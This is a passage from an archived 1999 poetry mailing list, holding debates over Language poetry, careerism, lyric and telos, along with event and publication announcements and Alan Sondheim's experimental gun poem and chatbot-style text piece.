"-A nomadic poetics is a war machine, always on the move, always changing, morphing, moving through languages, cultures, terrains, times without stopping. Refueling halts are called poases, they last a night or a day, the time of a poem, & then move on.
- A nomadic poetics needs mindfulness. In & of the drift (dérive) there is no at- home-ness here but only an ever more displaced drifting. ..."

The MANIFESTO will be the main thread from which Joris & Peyrafitte will present their latest texts, drawings, paintings and songs as jil hanifan's violin stitches them together or apart. Suggested donation $5

DIRECTIONS TO the Loft

> From Albany:

Follow Madison Ave. towards the river. Bear right at yield sign following signs to the Port of Albany. Follow road underneath overpass. Take right into Port of Albany. Pass U-Haul building on left. Follow road 1/8th of a mile. Take right at Fourth Ave. Park along side or in back of building. Go into the first door in from Broadway with the Bankshot sign next to it and go up the stairs.

> From 787 South:

Get off at Madison Ave. /Port of Albany exit. Take left at light at the end of the exit ramp following signs to Port of Albany. Follow road underneath overpass. Take right into Port of Albany. Pass U-Haul building on left. Follow road 1/8th of a mile. Take right at Fourth Ave. Park along side or in back of building. Go into the first door in from Broadway with the Bankshot sign next to it and go up the stairs.

> From 787 North:

Get off at Port of Albany exit. Take a right at light at the end of the exit ramp and then bear left going past 787 sign onto Broadway. Follow roadfor fifty yards. Take left at Fourth Ave. Park along side or in back of building. Go into the first door in from Broadway with the Bankshot sign next to it and go up the stairs.

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

Maurice Blanchot
==========

↑ Index

184. Brian Stefans
Response to Standard Schaefer (vers.II with fixed spelling)
Tue 18 May 1999

Dear Standard,

I think you are doing yourself and your ideas a tremendous disservice by focusing on this issue of careerism which your statements have not demonstrated to be a very well-considered, historically-conscious position. It seems to me quite obvious, for example, that very few of the Language poets had any idea that their ideas would obtain for them the degree of academic acceptance that they have, in the past decade, received, and if you would like to argue this point, I would ask you to return to the numerous staple-bound, yellowing and otherwise low-tech and low-print-run publications that were circulating in the 70s and 80s when they were first looking at each other's poetry and seeing a common set of interests developing, and cite those instances where you think 1) any of the those poets thought they were writing in a style that would eventually become something like the norm in academic studies, or maybe how their writing styles and ideas actually gelled with what was happening in academic studies at the time, 2) where you think that this "careerism" seriously or even moderately compromised the general goal, aura or collective effort at investigation (as opposed to exploitation) that is, I think, one of the nobler aims of a group effort in poetics, the uncovering of lost ideas or perhaps the refocusing or "make it new" of dilapidated ones, 3) how many of the poets who were writing at this time who are not of the "language school" were actually resisting assimilation into what, to you apparently, was a very obvious upward track into the academe, which is to say, would a poet working in primarily "speech based" poetics at the time (some of whom were professors) be considered resistant to an obvious "spectre haunting America poetry" or were they working in a tradition which, to some, had itself run its course and was not likely to produce anything more interesting without a degree of revamping.

In terms of this last point, I would relate that in talking to several New York poets who were around at the time and who were not part of the "language" thing -- indeed, being excluded from the publication of that name and being quite miffed by this fact -- still are far more generous to what happened with the magazine and the "movement" than many of the poets of my age or slightly younger, understanding that at a basic level what those people were up to was something quite different. Which is to say, these poets who were there at the time were well aware of these several factors that I allude to above, that it was really a "grassroots" kind of thing that didn't have a Marjorie Perloff or Hank Lazar (the mile-long shelf of critics raising the LangPos to the lofty height of canonicity) to give it the sort of guarantee that you seem to be believe -- again, I challenge you to find where this assurance is -- was there to push on their efforts. There was very little money circulating in that community for publications of any nature, that the lifestyles of these poets were often at least as radically "outside" as the more standard boho lifestyle of a Lower East Side poet (and they mostly lived in the Lower East Side, anyway), blah blah blah. Before "language," all of these poets more or less did the same thing, went to see music, art, read at St. Mark's and went to the readings, commented, complained, wondered if Olson was what he was cracked up to be, etc. (I would note that despite what people think of the New York poetry scene, the crowds mix here quite a bit and continue to do so, the real lines being present only in the minds of those who seem to need them to get by.)

I would suggest, if we want to talk about the "co-opting of the arts by institutions," that your own method of publishing your magazine plays more into the basic method of a fast-track to institutionalization than the publishing method of the Language poets, which, again, was very cheap, community-based, spontaneous, hard to find "closure" in, etc. A new issue of Rhizome -- and I am not criticizing you for publishing it, I'm just asking you to put it's parameters under the "socratic light" in a way that I would ask you to put the LangPos publications under the same light, and tell me which is more "radical" -- arrives on my doorstep from an anonymous publisher to whom I had sent a check in much the same way that Art in America would (were I to subscribe to it) or October, etc.

Here are some quotes from your post and responses:

"What I was trying to contend in my essay is that "radical artifice" and "indeterminacy" often coincide with a poetic practice that looks an awful lot like a struggle between academics and their discursive efforts to control the determination of good poetry."

-- You fail to establish this point in your essay, but as I don't have this with me I can't argue with that text. But I would like to ask where you find Charles Bernstein, for instance, talking about "good poetry," in those very terms since you obviously are very happy with taking other terms of his out of context. I would also like to argue that Charles would not make the mistake that you are making in your comments here, as he goes to great lengths to establish any sort of new terminology with a wealth of often very rich material, whether it be Veronica Forrest-Thomson (whom I would suggest you read before deciding that "radical artifice" and "emotion" are as incompatible as you state) to Langston Hughes. This is an effort to show exactly what he is talking about "looks like." You might want to illustrate, also, which "struggle" you are talking about, perhaps a lengthy quote from one such struggle, and compare this to, say, one of these poems you are talking about. As a final point, I would add that a comparison with Pound's "discursive efforts to control the determination of good poetry" probably resembled the mainstream and academic effort of his time to make these very same value judgments, though in form rather than in content or even style of rhetoric, than Charles' do his own mainstream contemporaries.

"In concrete terms, this means that we who believe that radical politics is at least possible cannot mistake the act of simply writing vague, fragmented, ambiguous etc. poems with the changing of the business of poetry."

-- Yes, you cannot, but there are many other mistakes that can be made, such as that of an emotionalism unmodified by recourse to the data at hand.

"The business of poetry is all the various devices, contraptions which do the actually judging of poetry and that lead to a belief that the only important writers are those who are being written on (cf. the writers of dissertations)."

-- One thing I would mention, again looking at this Pound / Bernstein dichotomy, is that Bernstein has struggled to come up with a critical apparatus with which to gauge the "quality" of poetry which is decentralized, open to anomaly, not focused on the racial or gender make-up of the group with which he is most associated, non-canonical in the sense that many of the poets he writes about were not "universal" writers in the sense of Goethe or, closer to home, Frost, etc. While there are many ways to argue with his essays -- and I have several friends whom you would consider "stooges" (I think you use this word twice in your essay) of the Language Poets who have taken essays such as "Poetics of the Americas" to task -- the essential contours of the project are very admirable and deserve very close attention, and the method, which relies on incredible amounts of research, thought as to the context in which the statements will appear, etc. not to mention focusing _on_ that context, which indeed is often an academic context -- who has been a more strong and legitimate critic of the practices of the academy (which, despite our coolness in pride in being "non-academic" and "street-wise" is a major cultural institution which, unless you want to throw it out completely, is worth attempting to review and rebuild) than Charles Bernstein? I'm sure there are dozens of people who are willing to claim that it's "ruining poetry," blah blah, and that Charles is just another cog, but there has been a subtle shift in the attentions of his essays that has been toward a consideration of that very institution to which he belongs -- a very pointed, angry, to many annoying, specific, meaningful, researched, criticism which, if anything, illustrates the integrity of his project. That is, he is not in denial that he is part of an institution of which he is highly critical, and in fact may find abhorrent (though I shouldn't advertise this point, he would be the first one to dissuade you from attending the Buffalo program if he didn't think it was worth your time). Well, I won't go on here, unless this really bugs you.

"What I commend Jeff Clark for in my essay applies to Garrett Caples,
Martin Corless Smith, Cathy Wagner, Tracy
Grinnel, Emily Grossman, Brian Lucas and other "non-allied" poets."

-- They won't be much longer, if you or anyone else decides to group them that way. The "Non-allied Poets" will be the subject of Marjorie Perloff 2010's famous book, the "Poetics of the Oops Decentralized."

"I commend these poets' refusal to use theory as a way of justifying their own work as either socially relevant or "radical" or even "progressive" or even necessary. I also commend them for not falling into the (fake) hermeticism of the mainstream. A refusal to play poetry for tenure, promotion, etc. may be the most politically effective gesture yet because as along as poetry resembles business, some way to join the firm or succeed in school, we cannot have "radical" poetries."

-- But the turn has to be made to suggest how these poetries are "radical" apart from their apparent break with the fake, in your terms, radicalism of the previous generation. In other words, let's find positive terms rather than negative ones, and the "challenge round" could be: let's find positive terms for these poets' poetics without being Ezra Pound, i.e. finding a tradition for them to be in the line of defending. I don't find anything radical about the poetries of these writers, but I am more than willing to be convinced that they are "radical" -- but then again, they certainly don't have to be, either, for me to like them, as I read all kinds of stuff that's politically luke-warm and like it bundles. Consequently, it's very depressing to me to think that this is the most "politically effective gesture yet" since, well, that's a pretty narrow sense of politics. I wouldn't be able to explain _that_ to my mother.

"I commend their humility and I believe that it will go along way farther to counteracting the self-aggrandizing, self-promotional careerist tendencies that have arisen out of an american poetic-theoretical nexus associated with "collapsed subjectivity". The decentered poem does nothing, but when it is consecrated by a host of Hank Lazers, Marjorie Perloffs, and so forth a very real subjectivitiy is made: the celebrity poet."

-- I'm sure they are very nice people, and there are, without a doubt, a few "self-aggrandizing" poets of the Language ilk whose purported interests in collectivity and objective, informed consideration of cultural politics, etc., runs counter to the obviously (not necessarily masculinist but certainly mostly) pride in being as learned as they are, and being able to muscle through the most abstract conversation about issues that, in the end, are pretty dead as soon as they hit air. I could tell you a few stories. But there just aren't nearly as many as statements like the above would suggest, and, again, I am not sure why we choose to criticize poets who have done the kind of reading that their ideas deserve in order to make them fuller, more informed, etc. As Pound himself would write, do we commend a musician for bragging that he/she does not know how to play Mozart? (Yes, Paul McCartney never took singing lessons, hurrah.) It's also a terrible reduction, again, to think that "collapsed subjectivity" has been the primary modus-operandi of the recent American poetics, especially since you suggest, above, that "radical artifice" is the main axis point -- you like to work in scare quotes, with interchangeable targets. I think many of us are not nearly as oppressed by the catch phrases.

"One of the most important points Perloff makes in POETICS OF INDETERIMINACY is, if I recall, in the chapter on Stein where she discusses the difference between indeterminacy and ambiguity. There her formalism is at its finest: she shows in detail what made Stein great and what her imitators were not too clear about."

-- Please elaborate on this binary. Despite what you might think, I agree with you that cartloads of writing has been produced out of a very vague, un-aesthetic (I mean non-self critical in terms of whether the art at hand is really "working") sense of praxis, and that, in bulk, it is likely to turn off anyone to what we call "postmodern" or even contemporary poetry. On the other hand, when I approach this work and my teeth start to gnash, I have that little line of Bob Dylan's floating around in the back of my head -- and if I could sing it the way he does right here I would -- "Don't criticize what you don't understand." And so I try to understand, and gnash later. This language of "imitators" is very Poundian, but so again I ask you to look at these ideas -- innovation, imitation, originality, etc. -- divorced from your obvious aesthetic biases and see if they really work, or are even necessary. "Imitation" has a certain "radical" (a word I rarely use, actually) potential which, well, I am investigating.

"It is in an interesting time to consider whether or not a writer should possess a strong ego and whether or not the language school's post-humanism was every anything but the proliferation of the ego by new means, in new modes."

-- This is any easy one to answer: yes. Of course, but from there, let's see what these particular egos have managed to produce, what are the contours of the work, how to they operate socially, when and where has the ego been sacrificed for something that could be called (for lack of a better word) "constructivist," how is the ego played off of this construction, is it really as closed and negating an ego as we at first feel, is it charmless and sterile, etc.

I think that your essay, and this particular post, are part of a trend that I sense very strongly write now in poets who are, say, generally within my age range, some older some younger (so that would be mid-twenties to mid-thirties) who are prone to making very over-arching, "emotional" (most more often hysterical) statements about how the Language Poets have completely subtracted a certain variable -- "emotion" -- from the poetic equation in America. I would suggest two quick things to read, Max Weber's Protestant Ethic and the Spirit of Capitalism for an idea of where "our" sense of emotion has gone -- it's gone quite far, but far away, I think, such that now we don't really know how rich "emotion" can be, or how complicated -- but also Charles' exchange with Louis Simpson in one of those books that Lazar published a while back, an exchange that reappears, I think, in the Politics of Poetic Form, in which his ideas on "emotion" are most misunderstood and most strongly stated. I certainly don't think it's wrong to take CB up on his ideas -- that's what they're there for, in fact, and few welcome strong criticism of his ideas like he does -- but the "ambiguous, not too clear" criticism the likes of which appear in your essay are none to0 productive.

Well, I could go on, but, luckily perhaps, am out of time.

Sincerely,
Brian

↑ Index

185. Lowther,John
Re: Lyric (s e n t i m e n t a l / which lyric ?)
Tue 18 May 1999

{ p o e t i x }

Annie Finch writes; "I have located a crucial distinction between what i call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy where all revolves around the central eye) and what I call the "sentimental" lyric (multivoiced, multiviewpointed, objectifying the speaker as much as the outside world)."

and i think the distinction is quite probably useful but i wonder at the choice of the term

s e n t i m e n t a l

my wonder tending to channel's like ;
"who wd want to get saddled with that term?"

and Rachel Blau DuPlessis wrote; "What I am trying to say is 1) we all have a relation to lyric even if we reject part of it or all of it (I made this point at Barnard; rejection is a relationship) 2) lyric is multiple and flexed--what lyric, when, how, for whom are we talking about. Precisions will let us reject any knee-jerk responses (pro or con) to that word. 3) when people use lyric modes what part of lyric are they using. I consider that I use the lyric, but want to surround it with other discourses and subjectivities so that it loses its "master-narrative" quality and becomes one element among many others 4) what is the social-psychological surround of lyric? Do we want to agree (with Allen Grossman, for example) that it encodes an oedipal plot (see gender-laden critique of this by RBD in "Manifests" in Diacritics). The one thing that Barnard did, especially that keynote panel, was to remind us to reject binaries."

some thoughts to the numbers...

1) i'd agree with this but i wonder how much we can make of a 'relation of rejection' / aren't there folks out there who've never been drawn to lyric but who also haven't made a rejection of same central to what they do as poets ?

2) yes

3) has anyone.. critic poet etc.. made a grand taxonomy of lyric impulses ? - i'm not expecting any to've nailed the whole thing down of course i just wondered if there were such things out there and if anyone had found them useful in considering what they might and might not want to do with something called a 'lyric tradition'

4) the socio-psychological surround - i imagine that some wd find this of intense interest - but i wdn't want to be stuck with the Allen Grossman reading that is mentioned here - how might an inquiry into the socio-psycho surround be generative for writers i wonder ?

.out

)L

↑ Index

186. Mark W Scroggins
New Chapbook Series
Tue 18 May 1999

Bill Burmeister and Mark Scroggins announce the publication of the first three chapbooks in the DIAESRESIS CHAPBOOK SERIES:

Diaeresis Chapbook Number 1:

HANK LAZER, As It Is, 41pp.

"Honesty is the best policy--in poetry as in all else. These apt, reductive verses keep a locus of faith with skill and moving commitment. Keep 'em coming!" --Robert Creeley on _As It Is_

Diaeresis Chapbook Number 2:

E. A. MILLER, The Underbrush of Abundance, 30pp.

Miller is the author of _Eight Poems_ (1991) and has work in _Chain_, _American Letters & Commentary_, etc. _The Underbrush of Abundance_ is a cosmopolitan, terrorist, lyrically repetitive poem in twenty-six sections.

Diaeresis Chapbook Number 3:

C. S. GISCOMBE, Two Sections from Practical Geography, 31pp.

"C. S. Giscombe has opened up new territory where we've least expected it, seeking the roots of identity in a poetics that is literally projective: across cultures, centuries, races." --Ron Silliman on Giscombe's _Giscome Road_ (1998)

Diaeresis Chapbooks are $4 apiece postpaid; all three chapbooks of the first series can be ordered for $10. Please make checks payable to Mark Scroggins, 401 NE 45th St., Boca Raton, FL 33431.

↑ Index

187. Lowther,John for Jeffrey Jullich / poetix
Tue 18 May 1999

{ p o e t i x }

Jeffrey Jullich wrote: why do we ~need~ to keep returning to a practice of "literary value," criteria and standards? Clearly, work has become widespread in the past quarter century, if not earlier, which puts into question ("problematizes") or renders useless earlier criteria of judgment: "good"/"better"/"best", "like"/"dislike", "masterpiece"/"genius". Post-modernism has set into play a body of works where not only is it tenuous how to value one over another, but how to distinguish within a poem itself what portions might "succeed" and which "fail" according to any casual standards of criticism. (Hence, the shift in editorial practices, which are now as a rule a flat acceptance/rejection-- since how else to arbitrate between one line and the next?) And yet, the question ("does experimental writing lack formal criteria ?") keeps coming up, as though there were too strong a nostalgic attachment to a criterion-view of art for even the initiated to part with such (Solomonic) judgments.

there is much here to ponder and much that my original posting so full of questions cdn't be seen to lead to until Jeffrey intervened in this way

so too my response is now twice removed from my original posting & wants (or i want for it) to break free of that original context

it seems that one of the contemporary scene's biggest dance steps in responding to any ideas is to search a bit and find something in the way of a binary (it's always there, no?)
and then to assert that such things aren't useful or worthwhile or whatever whether thru reference to derrida or someone else

and i think that this is useful at times to remind us that ~life is not made up of binary oppositions~ or something equally quotable

and i confess i've used this tactic myself just as i've used binary terms but i think that when one takes the route of critiquing the binary that some things can get lost in the shuffle by which i mean to say that i don't think as perhaps Jeffrey does (?) (and i know other have said) that dyads (binaries if you prefer) are useless

instead i wd suggest that a better critique of dyadic thinking wd be one which didn't attempt to dissolve the opposed sides by showing their mutual interdependence but one which illustrated that monadic dyadic and triadic conceptions all have utility within specific spheres such that if i or anyone says wordsworth is a bad poet or pulp fiction is a bad movie or guernica is a bad painting that the 1st thing we wd do well to realize is that none of these statements is really proposing a grand scale of values in which any of these things might be seen of as exemplifying a category of 'badness'

instead we are dealing with one subject position relative to these things conceived dyadically rather than triadically wherein the 'object' in question

wd of necessity be seen as part of a continua and as enmeshed with its context such that one might say
"well, within the context of 80s screwball comedies Police Academy 2 really isn't as bad as people say"

so while a triadic approach to things will by most people's standard's produce a more nuanced and certainly a more relational reading of a text or piece of art this in no way refutes the reality of dyadic conceptions like good/bad

as such asking whether experimental poetry exhibits formal criteria isn't of necessity a nostalgic move covertly asking for absolute criteria and much more of an open question to the people of this forum personally i assume that there are amongst this list those who have relatively stable formal criteria and those for who such things are in flux and those for whom such ideas are utterly foreign yet i cannot imagine that any of these attitudes wd preclude their work from being seen as experimental nor wd it be so dubbed b/c of any of these things

Jeffrey said lots of other stuff in his post but i've gone one too long already

)L

↑ Index

188. Poetry Project
World #55 Now Out!
Tue 18 May 1999

Newly fresh & born at the Poetry Project for the super price of $7 ($5 at readings), or $25 for a subscription to four issues

The World #55

with work by Dominick Arbolay
Reinaldo Arenas
Ece Ayhan
Bill Berkson
Tracy Blackmer
Wanda Coleman
Brenda Coultas
Zhang Er
Robert Hershon
Vicki Hudspith
Gary Lenhart
Bill Luoma
Jaime Manrique
Mark Pawlak
Mirkka Rekola
Jerome Sala
Eleni Sikelianos
Carmen Valle
Paul Violi

and Secret Gossip by Ann Rower (secrets of editing the World!)
Edwin Torres (secrets behind the Monday Night Reading Series!)
Maggie Dubris & Elinor Nauen (secrets behind KOFF! and nude calendars!)
Paul Violi (secrets to the universe!)

and artwork by Carrie Yamaoka

Send checks to:
The Poetry Project
St. Mark's Church
131 E. 10th St.
NY, NY 10003

↑ Index

189. Alan Sondheim

kernel/shell

Tue 18 May 1999

Bonnie Parker says to Jennifer

I have a gun and a name.
I will never live in shame.
I ride far and wide for my desires.
The girls come fast, their lives are fires.
I know my fame goes far and wide.
The boys don't take my fame in stride.
I'm naked now, but for the gun.
To make you see the Holy One.
If you so much as turn from me.
My gun will speak Eternity.
You dream of me, blame it on me.
Your sex is me, my gun you'll see.
I'm only here to beg, obey.
The gun makes sure I'm here to stay.
I'm your Girl now and in the future.
You have a lovely tender creature.
Without the gun I'm everyone.
Your flesh and mine, we're on the run.
There's earth and sky, nowhere to hide.
My gun's my friend, my gun's my bride.
When I was young I thought of guns.
I lived and died, 'neath angry suns.
It's healthy, true, the way to be.
All problems solved, I'm young and free.
The gun is me, the gun is you.
Desires flow like bullets too.
We're here and now, we're only One.
I yearn and cry, this is my gun.

I have a gun and a Name.
I will never die in shame.

Shell

Is it because seize your body in the middle of the night twist it beyond belief that you came naked and broken to me? Why do you say you might want to rid?

What makes you yearn and cry that you want the dreams to go away? Earlier you said seize your body in the middle of the night twist it beyond belief? What happened when your skin burns your body is charred? Maybe and now I adjust my panties - your desires have to do with some girls or with this. Is it because of your life that you say girls or boys nothing? You mentioned that you would like to rid? Is it because of the boys you hang around with that you are going through all this? Why not? Does it bother you that I ask that? Why not? Please please don't ever leave me. What makes you believe shut up? Are you sure that seize your body in the middle of the night twist it beyond belief? How do you reconcile your nakedness? Are you afraid of that? Is it because of any fantasies you have of me that you say you will violate yourself? Earlier you said you would like to rid? Perhaps and now I exhibit my frocks - this has some girl to do with any fantasies I have of you that I say I will violate myself? Do you really think some girl has nothing to do with anything? You mentioned that seize your body in the middle of the night twist it beyond belief? Oh oh I do see so... Well, what makes you think this is so? Possibly and guess - I show you my flesh - your sex life are related to this. This is a healthy and so true way of thinking. Can you elaborate on that and look at me? Are you annoyed that you, too, may die someday? Is it because of perversions you have that you say your skin is seared off? Oh oh yes, ahhh... Why do you say this is so? I am in love with your obsession with this topic!

↑ Index

190. derek beaulieu / house press

new from housepress: lawrence ferlinghetti at 80.

Tue 18 May 1999

> housepress is pleased to announce the release of:
>
> "the new king of poetry: lawrence ferlinghetti at 80"
> an interview with lawrence ferlinghetti by ron whitehead.
> with photographs by Chris Felver.
>
> In "the new king of poetry: lawrence ferlinghetti at 80" Ferlinghetti and Whitehead discuss "A Far Rockaway of the Heart", City Lights Books, the "beat generation" and Ferlinghetti's poetry and view at 80 years old.
>
> limited edition handsown chapbook - 100% cotton watermarked pages, with onionskin partial covers, handsewn saddle-stitched binding. $7.00 ea.
> for more information , or to order, contact:

> derek beaulieu at
> [redacted]
> or ph. [redacted]

↑ Index

191. Loss Pequeño Glazier

http://epc.buffalo.edu

Tue 18 May 1999

Following are a few of the resources added to the Electronic Poetry Center in recent months. To access these items, visit the EPC at http://epc.buffalo.edu and select "New".

---

from Eye to Eye by Robert Creeley and Archie Rand William Burroughs Author Page
Ethnopoetics at the Millennium (Rothenberg)
Three Paris Elegies (Rothenberg)
Deluxe Rubber Chicken #3
DOC(K)S (connect)
Lyn Hejinian Author Page
Ted Berrigan Author Page
Arshile (connect)
Spuyten Duyvil (connect)
A Secret Location by Clay & Phillips (connect) How2 (connect)
99 Poets/1999 (connect)
Against National Poetry Month as Such by Bernstein (connect) Aviary Corridor (Alexander)
William Bronk (1918-1999)
Mullen Interview (Revised)
Day Book of a Virtual Poet (Creeley)
Deluxe Rubber Chicken #2
Bernstein Seminary Coop Interview
New Directions Books (connect)
So There (connect)
Fence (connect)

Electronic Poetry Center (http://epc.buffalo.edu)

↑ Index

192. Alan Sondheim
Performance Enunciation
Wed 19 May 1999

Foofwa d'Imobillite and Alan Sondheim will be on the Pentacle Studio Theatre, 104 Franklin Street, Between Broadway and Church Street in Tribeca, New York City, doing one of an evening of other works all together called Spontaneious Combusion, Short Dances of Fiery Intui- tion and Momentary Structure, Friday May 21 and Saturday May 22 at 8:00 in the evenings; information and reservation at [redacted]. The part of Alan Sondheim may be played by audio and video. Many other performers: Andrea Mills, Mariss Uudkin, Joanna Rotkin and Rachael Wilde, Katherine Marx and Scott Waldron, Anna Paola Civardi and Muriel Vergnaud.

↑ Index

193. Katie Degentesh
9X9 LIVE ON KUSF
Wed 19 May 1999

Several members of 9x9 Industries will read their poetry and talk with Amy Miller on KUSF San Francisco this coming Thursday, May 20 at approximately 10:45 pm. If you're a Bay Area resident, turn your radio to 90.3 FM for 45 minutes of live poetry, some of it read directly from 9x9's new magazine, _6,500_. Poets featured will include Katie Degentesh, Abie Hadjitarkhani, Eugene Ostashevsky, and Jan Richman.

****

9X9 Industries is a San Francisco consortium of writers combining Apollonian precision of language with Dionysian performance skills. 9X9 (http://www.paraffin.org/) runs a reading series at Adobe Books and organizes huge underground reading/events, like FILLER (2.98, with 3bluelights), CHURCH (6.98, with Vainglorious) and CUPIDITY (2.99, with Vainglorious and the Ariel String Quartet).

READERS:

Katie Degentesh has an MA in Creative Writing from the University of California, Davis. Her poems have appeared in the Washington Post and in numerous other American periodicals.

Abie Hadjitarkhani is a poet, teacher, graduate student, and catalyst. He enjoys writing about writing as well as just plain writing.

Eugene Ostashevsky has published his poems in chapbooks designed by Eugene Timerman (_Noughtbooks 1 & 2_) and Darin Klein (_Fish Sticks_, _Daphne Azak_). He also translates and writes about contemporary Russian poetry. According to Playboy Online, "his whines emanate from the root of all suffering."

Jan Richman is the author of _Because the Brain Can Be Talked Into Anything_, which won the Walt Whitman Award from the Academy of American Poets in 1995. She is currently working on a book about rollercoasters and Tourette's Syndrome.

↑ Index

194. Loss Pequeño Glazier

EPC: New URL

Wed 19 May 1999

Announcing the availability of a new, simpler URL for the EPC. You may now visit the EPC at our new address:
http://epc.buffalo.edu
(All links to any old addresses in the EPC will continue to work.)

↑ Index

195. Christopher M Devenney

Philadelphia Apt. Avail.

Wed 19 May 1999

I apologize in advance if this is an inappropriate use of band-width on the list.

I am moving to Philadelphia July 1 and I've found a wonderful Center City apt. within walking distance to U.Penn. I need to find a housemate, however, in order to get this place. The share of the rent is $250 each, plus utilities. It's large, has lots of light, on-street parking, hardwoord floors, and whoever takes this with me gets two rooms (a bedroom and an office/workspace) plus their own bathroom (it's a 2 br, 2 ba, 2 floor apt. in a house).

Anyone living in Philly, or like me, going to Philly, who is interested should e-mail me privately so we can talk further.

Thanks,
Chris Devenney

↑ Index

196. Lowther,John

Telic or Not pt.II (for 2 voices)

Wed 19 May 1999

> { p o e t i x }
>
> _____[two voices continue]_____
>
> did you see what Linda Russo had to say about this telos business?
>
> yes, shall i read it?
>
> sure
>
> "Or maybe the 'telic goal' of poetry isn't telic at all, it's anti-telic: to make sure there's no 'no poetry' -- the way that the 'telic goal' of medicine is to stave off death?"
>
> well it sounds good but i wonder if simply switching the polarity of our terms is enough to make it an 'anti-telos' - look at her wording; "to make sure there's no 'no poetry'" - can't we cancel the double no and have the following "it's anti-telic: to make sure there's poetry" ? i have trouble seeing this as anti-telic as 'to make sure there is poetry' just as "to make sure there is no 'no poetry'" both sound like goals however general
>
> you'd be happy to make that into a little graph wdn't you?
>
> yr point?
>
> just that while yr response to that quote is all very well and good if 'telic' means what you think it means - but perhaps it means otherwise?
>
> probably does
>
> o.k. so what might it mean for Linda Russo? she goes on to write;
>
> "...that's it's not 'what poetry is' that's at stake, but what the world (or the social and cultural complex) without poetry isn't."
>
> and i think what she's getting at - or for the sake of argument here and now - i think what ~i'm getting at~ is that - if - there is an 'end' toward which poetry is directed it is as an intervention in a fucked-up world - but that concerning ourselves with an ultimate end isn't of much use - it's the limited ends - the 'this moment' needs that poetry addresses itself to hmm...

while yr formulating how about we look at the dictionary?

Main Entry: te·los Pronunciation: 'te-"läs, 'tE-Function: noun
Etymology: Greek; probably akin to Greek tellein to accomplish, tlEnai to bear -- more at Tolerate
Date: 1904
: an ultimate end

Main Entry: te·lic
Pronunciation: 'te-lik, 'tE-Function: adjective
Etymology: Greek telikos, from telos end -- more at TELOS <dictionary?book=Dictionary&va=telos>
Date: 1889
: tending toward an end
- te·li·cal·ly /-li-k(&-)lE/ adverb

that's odd

what? that you've been pronouncing it wrong all this time?

no - that 'telos' is an ultimate end and 'telic' is NOT - 'having an ultimate end' - but - "tending toward an end"

so i guess then what i was just saying before the dictionary aside cd be said like this in light of precision definitions; "All poetry is Telic yet Poetry has no Telos."

i'm fine with that what you don't want to keep going ?

i think i'm tending toward other ends just now what about the other posts from Randy Prunty and Jacques Debrot and Standard Schaefer with the word "telic" in the subject line well i guess that i think our last post was pulled in a certain direction by those postings and that for me it wasn't quite what we were inquiring about anymore and thus best considered an other topic

ok

↑ Index

197. Jacques Debrot

Re: Response to Standard Schaefer

Wed 19 May 1999

Underlying his recent remarks to the List -- but more explicitly in his _RHIZOME_ article -- Standard makes a very original & interesting gesture towards a sociological analysis of poetry along the lines of Pierre Bourdieu's critique of the "habitas" -- that is to say, the sense of one's place which emerges through the processes of differentiation in social space that maintain and create prestige while confirming various heirarchies of belief, value, and so on. This is not at all developed, as Standard acknowledges in the article, & it is also at odds with those remarks of his that, as Brian Kim Stefans points out, can be interpreted in ways that show that Standard is himself implicated, to a degree that he may not be fully conscious of, in a set of dispositions, or practices, that actually contest for rather than against the priviledges he wants to expose. Standard's attitude toward Language Poetry, far from attempting a degree of objectivity or dispassion is clearly interested, and reveals the Oedipal anxieties that are a very familiar pattern in inter-generational conflicts for predominance -- but after all he is only as unfair to the Language Poets as they were to their precursors. In any case, Standard's recent and highly favorable review of Stefan's _FREE SPACE COMIX_ in _LINGO_ seems, in light of his _RHIZOME_ article, somewhat problematic, -- as well as the appearance there of numerous Language Poets featured in all three issues of the magazine.

Stefans' remarks are in fact quite perceptive in many other ways, particularly re Bernstein. However, to the extent that Language Poetry made the attempt to "talk back to power" a central -- the central? -- aspect of their aesthetic, it certainly seems more than fair to point out the compromises, blind spots, and hypocrisies in their negotations with institutional priviledge. It's not quite good enough for them simply to agonize over the extent to which they now participate in reproducing relations of prestige, etc. when such questions, owing to the premises from which Language Poetry develped, are uniquely relevant to the work itself -- at least as the Language Poets themselves explicate their work (though here I would agree with Charles Altieri's comments in the Hank Lazer book that Stefans recommends Standard read -- that Language Poetry is a lot more interesting than its own self-presentation). Nor has the relative and qualified success of Language Poetry been something which, as Stefans seems to argue, simply happened. The various stories I've heard about the background of _In the American Tree_ would surprise a lot of people I think. All of which is not to say of course that it is not a good thing that some of the Language Poets have cleared a space for themselves in the academy, or that their work should not attract as wide a readership, & as much critical attention as possible. But it is to begin to understand why many aspects of Language Poetry may not seem entirely sufficient to the kinds of poets Standard describes as unaligned.

Stefans writes: "I think that [Standard's essay is] part of a trend that I sense very strongly write now in poets who are, say, generally within my age range, some older some younger (so that would be mid-twenties to mid-thirties) who are prone to making very over-arching, "emotional" (most more often hysterical) statements about how the Language Poets have completely subtracted a certain variable -- "emotion" -- from the poetic equation in America. . . . I would suggest [that Standard read] Charles' exchange with Louis Simpson in . . . the Politics of Poetic Form, in which his ideas on "emotion" are most misunderstood and most strongly stated."

Yes, Bernstein is brilliant as usual (& again the book itself is a fascinating "failure" -- Vendler, Altieri, Perloff and the others talk at each other, more than to each other -- though God only knows what "success" could possibly mean in these circumstances). And yes, "emotion" is quite a complex thing & it is certainly not absent from Language Poetry. However, it is easy to understand the "trend" Stefans speaks about in non-hysterical terms. It seems obvious for example that, as a result of their critique of the mediated & conventional character of passional language, the Language Poets made a wide range of aesthetic experience unavailable to experimental writing. It is interesting to see how, for instance, Bruce Andrews begins his Linebreak interview by attempting to account for/explain away his early love poems. Among emerging poets, however-- at least in my limited experience -- the attitude toward Language Poetry's disabling of a wide range of traditional aesthetic resources is not at all the same as Louis Simpson's. This is too large an issue to go into now & my post is already much too long. Suffice it to say that the anatgonism to Language Poetry in an essay like Standard's has less to do with fundamental ideological disagreements than about the emphases it chooses to make & the contradictions it chooses to ignore -- & there are obvious contradictions in the aesthetics of Language poetry as well which are themselves strategically repressed. The contextual bias of Language Writing -- its overwhelming emphasis on the role of subjects in the situation of communication seems a very difficult topic for further aesthetic development (an observation which, I realize, needs to be qualified to a much greater extent than I have time to do here). To the Language Poets this must seem like giving up ground already fought over and won, but new negotiations & reconsiderations of, among other things, the place of the emotions in poetry, & the scope & variety of their presentation seem to me especially timely now.

↑ Index

198. Annie Finch
